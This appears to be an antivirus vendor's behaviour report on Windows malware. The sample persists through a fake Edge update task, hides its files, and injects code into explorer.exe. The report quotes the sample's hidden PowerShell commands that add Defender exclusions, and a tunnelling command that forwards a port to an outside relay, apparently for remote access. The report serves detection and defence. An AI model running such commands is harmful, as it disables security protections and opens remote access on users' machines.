Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoftedgeupdatetask
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath '<Current directory>' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath '%APPDATA%\MicrosoftEdgeUpdateCo...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath '%APPDATA%\MicrosoftEdgeUpdateCore.exe' -Er...
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
Modifies file system
Creates the following files
- %APPDATA%\microsoftedgeupdatecore.dll
- %APPDATA%\microsoftedgeupdatecore.exe
- %TEMP%\up.ps1
- %APPDATA%\tailscaleportable\tailcat.exe
- %LOCALAPPDATA%\tailcat\derpmap-https%3a%2f%2ftailcat.dev%2fderpmap.json.json
- %LOCALAPPDATA%\tailcat\derpmap-https%3a%2f%2ftailcat.dev%2fderpmap.json.etag
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoftedgeupdatecore.dll
- %APPDATA%\microsoftedgeupdatecore.exe
Network activity
Connects to
- 'localhost':18080
- 'ta##cat.dev':443
- 'cr#.####g2.amazontrust.com':80
- '17#.#38.7.124':443
- 'x1.#.lencr.org':80
TCP
HTTP GET requests
- http://cr#.####g2.amazontrust.com/rootg2.cer
- http://x1.#.lencr.org/
Other
- 'localhost':18080
- 'ta##cat.dev':443
- '17#.#38.7.124':443
UDP
- DNS ASK ta##cat.dev
- DNS ASK cr#.####g2.amazontrust.com
- DNS ASK x.##2.us
- DNS ASK x1.#.lencr.org
- '17#.#38.7.124':3478
Miscellaneous
Creates and executes the following
- '%APPDATA%\tailscaleportable\tailcat.exe' forward tcpGFwWCCM3nqo75QjLJ0nS6VCKTbGOd1tJGiFdtkZr1kneEG0MGFrWCC6T-F2XjOGctdsUEN9tMg95ReEWwOAlgQIs2DWTdPURGFxWCA0cpzdZCuItvLnpXlmZXM-4PDolWovCm308QX3xu3Oh2FpGQEw 18080:4444
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -File "%APPDATA%\..\Local\Temp\up.ps1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath '<Current directory>' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath '%APPDATA%\MicrosoftEdgeUpdateCo...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath '%APPDATA%\MicrosoftEdgeUpdateCore.exe' -Er...' (with hidden window)
